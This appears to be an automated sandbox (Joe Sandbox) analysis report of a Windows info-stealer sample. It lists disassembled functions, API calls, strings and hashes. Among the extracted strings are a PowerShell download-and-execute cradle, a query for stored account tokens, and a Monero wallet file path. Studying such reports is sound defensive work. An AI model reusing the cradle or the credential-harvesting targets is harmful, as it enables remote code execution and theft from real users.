Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 591d0499307d4fe54a8bc5b2e222dd0ccdf3fccec72c13b51f8f3f189074c871
Instruction ID: a4a9d1e7913353b9e2a528aa54a9e2262e657f208afa24f52c55bd27e171e6f4
Opcode Fuzzy Hash: 591d0499307d4fe54a8bc5b2e222dd0ccdf3fccec72c13b51f8f3f189074c871
Instruction Fuzzy Hash: D9B153719101049BDB04FBA1CD56EEE7339AF94304F40851FF50AA6191EF386A69CBBB

Function 00476770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00476774
ExitProcess.KERNEL32 ref: 004767A5
ExitProcess.KERNEL32 ref: 004767AF
ExitProcess.KERNEL32 ref: 004767B9
ExitProcess.KERNEL32 ref: 004767C3
ExitProcess.KERNEL32 ref: 004767CD

Strings

*, xrefs: 0047678C

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: b6663c45426f3309c54188021e4020df16b4822ddcf0a68355e7a050ca859deb
Instruction ID: 2c97de14684d2d53e1248e6507fc656c545437111bbfad723ee5d98e42afbf46
Opcode Fuzzy Hash: b6663c45426f3309c54188021e4020df16b4822ddcf0a68355e7a050ca859deb
Instruction Fuzzy Hash: BCF03A34904209EFD384AFE0E90977D7B72FB06703F04019EE60986290D774AE51DF96

Function 00464FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00464FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00464FD1
InternetOpenA.WININET(00480DDF,00000000,00000000,00000000,00000000), ref: 00464FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00465011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00465041
InternetCloseHandle.WININET(?), ref: 004650B9
InternetCloseHandle.WININET(?), ref: 004650C6

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: b44e183d9b67ccd6265539b01a89caea1c0ab67cefb4977eb094ef3403ae4921
Instruction ID: ed2c599e868ebd631fa47ac900a6e7947ceb9c65194e7e084936c7fa26023389
Opcode Fuzzy Hash: b44e183d9b67ccd6265539b01a89caea1c0ab67cefb4977eb094ef3403ae4921
Instruction Fuzzy Hash: 8E3108B4A00218ABDB20DF94DC85BDDB7B5EB48704F1081DAEA09A7281D7746EC5CF99

Function 004783DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00478426
wsprintfA.USER32 ref: 00478459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0047847B
RegCloseKey.ADVAPI32(00000000), ref: 0047848C
RegCloseKey.ADVAPI32(00000000), ref: 00478499

Part of subcall function 0047A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0047A7E6

RegQueryValueExA.ADVAPI32(00000000,00E8D938,00000000,000F003F,?,00000400), ref: 004784EC
lstrlen.KERNEL32(?), ref: 00478501
RegQueryValueExA.ADVAPI32(00000000,00E8D9F8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00480B34), ref: 00478599
RegCloseKey.ADVAPI32(00000000), ref: 00478608
RegCloseKey.ADVAPI32(00000000), ref: 0047861A

Strings

%s\%s, xrefs: 0047844D

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: b11ae06f6f40b8f7a10ab20d83793af282d7dd18ce34607ed0c2cf44a5a9991b
Instruction ID: 8d437411e6a9155a042d296c66aba4ed6d9bf03c54ebf260c29c7284c754596b
Opcode Fuzzy Hash: b11ae06f6f40b8f7a10ab20d83793af282d7dd18ce34607ed0c2cf44a5a9991b
Instruction Fuzzy Hash: 99212771940218ABDB24DB54CC85FE9B3B9FB48700F00C5DAE609A6240DF75AA85CFE8

Function 00477690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004776A4
RtlAllocateHeap.NTDLL(00000000), ref: 004776AB
RegOpenKeyExA.ADVAPI32(80000002,00E7BCE8,00000000,00020119,00000000), ref: 004776DD
RegQueryValueExA.ADVAPI32(00000000,00E8D908,00000000,00000000,?,000000FF), ref: 004776FE
RegCloseKey.ADVAPI32(00000000), ref: 00477708

Strings

Windows 11, xrefs: 004776BD

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 8f7590db52af335cbb6b918a840ddfc713a07414e1ae9c23fdea374bda2a7d8a
Instruction ID: 690980cac9dd5471e626819994999d3aa72dd72c774b51a673e2b0f7daaa6dfd
Opcode Fuzzy Hash: 8f7590db52af335cbb6b918a840ddfc713a07414e1ae9c23fdea374bda2a7d8a
Instruction Fuzzy Hash: 38018FB8A00204BBDB00EBE4DD49FAEB7B9EB48701F008456FA05D7290D778B904CF55

Function 00477720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00477734
RtlAllocateHeap.NTDLL(00000000), ref: 0047773B
RegOpenKeyExA.ADVAPI32(80000002,00E7BCE8,00000000,00020119,004776B9), ref: 0047775B
RegQueryValueExA.ADVAPI32(004776B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0047777A
RegCloseKey.ADVAPI32(004776B9), ref: 00477784

Strings

CurrentBuildNumber, xrefs: 00477771

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: bf5bce400ffeb2b7fd448b658119d4515ba8203642f2d55fa8f0dfd9153969b9
Instruction ID: 2640b826bcb3501b8b6709b0c4d473a3151af336725531a9a1e267f443716b98
Opcode Fuzzy Hash: bf5bce400ffeb2b7fd448b658119d4515ba8203642f2d55fa8f0dfd9153969b9
Instruction Fuzzy Hash: 840121B9A40208BBDB00EBE0DC49FAEB7B9EB44701F10455AFA05A6281DB74A500CF51

Function 004792E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:G,80000000,00000003,00000000,00000003,00000080,00000000,?,00473AEE,?), ref: 004792FC
GetFileSizeEx.KERNEL32(000000FF,:G), ref: 00479319
CloseHandle.KERNEL32(000000FF), ref: 00479327

Strings

:G, xrefs: 00479311, 0047933D, 00479314
:G, xrefs: 004792F8, 004792FB

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :G$:G
API String ID: 1378416451-4278336346
Opcode ID: 1fb9456c85df59f14a230794e4da31cdf51ef812b5d9958edd981d2edc79b165
Instruction ID: 500141bce29bbf8f19a6fe824c3df3d6f464e5b3af7e5c66c0951ab85d08c6f9
Opcode Fuzzy Hash: 1fb9456c85df59f14a230794e4da31cdf51ef812b5d9958edd981d2edc79b165
Instruction Fuzzy Hash: AEF03139E40204BBDB10DFF0DC45B9E77B9AB48750F10C195B955A72D0D678AA01CF45

Function 004699C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004699EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00469A11
LocalAlloc.KERNEL32(00000040,?), ref: 00469A31
ReadFile.KERNEL32(000000FF,?,00000000,0046148F,00000000), ref: 00469A5A
LocalFree.KERNEL32(0046148F), ref: 00469A90
CloseHandle.KERNEL32(000000FF), ref: 00469A9A

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 0b43392e62828c2c823e1099c9987513e9b20725477561c3c5c686b134368e23
Instruction ID: 6a71a9d1c1637e4553d90138632fcdb4a0d7b569a0b5986ca4cb74fd31a577e6
Opcode Fuzzy Hash: 0b43392e62828c2c823e1099c9987513e9b20725477561c3c5c686b134368e23
Instruction Fuzzy Hash: B531F3B4A00209EFDB14DFD4C885BAE77F9BF49300F108159E911AB390D778AA41CFA6

Function 00474780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00E8DCC8), ref: 004747DB

Part of subcall function 00478DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00478E0B

lstrcat.KERNEL32(?,00000000), ref: 00474801
lstrcat.KERNEL32(?,?), ref: 00474820
lstrcat.KERNEL32(?,?), ref: 00474834
lstrcat.KERNEL32(?,00E7B068), ref: 00474847
lstrcat.KERNEL32(?,?), ref: 0047485B
lstrcat.KERNEL32(?,00E8D0D8), ref: 0047486F

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Part of subcall function 00478D90: GetFileAttributesA.KERNEL32(00000000,?,00461B54,?,?,0048564C,?,?,00480E1F), ref: 00478D9F

Part of subcall function 00474570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00474580
Part of subcall function 00474570: RtlAllocateHeap.NTDLL(00000000), ref: 00474587
Part of subcall function 00474570: wsprintfA.USER32 ref: 004745A6
Part of subcall function 00474570: FindFirstFileA.KERNEL32(?,?), ref: 004745BD

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: da3694c2000756db86c66a7d858cebafb0487c499ea828783f09dc088fec2de5
Instruction ID: cd2469a825fbe7f8ef36383af40438c7c55875f0e7450c9fd79d8798b0909c71
Opcode Fuzzy Hash: da3694c2000756db86c66a7d858cebafb0487c499ea828783f09dc088fec2de5
Instruction Fuzzy Hash: CA3144F294020867CB54F7B0DC85EE97379AB58704F40458EB31996091EF78A789CF95

Function 00472C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

Part of subcall function 0047A920: lstrcpy.KERNEL32(00000000,?), ref: 0047A972
Part of subcall function 0047A920: lstrcat.KERNEL32(00000000), ref: 0047A982

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

ShellExecuteEx.SHELL32(0000003C), ref: 00472D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00472CC4
<, xrefs: 00472D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00472D04
')", xrefs: 00472CB3

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 7a07e19d42d0ff025c22883e52c01b2a54d859d60a2a1afa8a872bf16c94c212
Instruction ID: 986d51b734814894456aaa3ea15fc6a4ded32ac61b7b3754cfcedce49d7a640f
Opcode Fuzzy Hash: 7a07e19d42d0ff025c22883e52c01b2a54d859d60a2a1afa8a872bf16c94c212
Instruction Fuzzy Hash: ED41D171C101089ADB14FFA1C891FEEB774AF50304F50852EF11AA7191DF786A5ACFAA

Function 00469E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00469F41

Part of subcall function 0047A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0047A7E6

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00469E67
v20, xrefs: 00469E21
@, xrefs: 00469EF1
v10, xrefs: 00469EA3

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
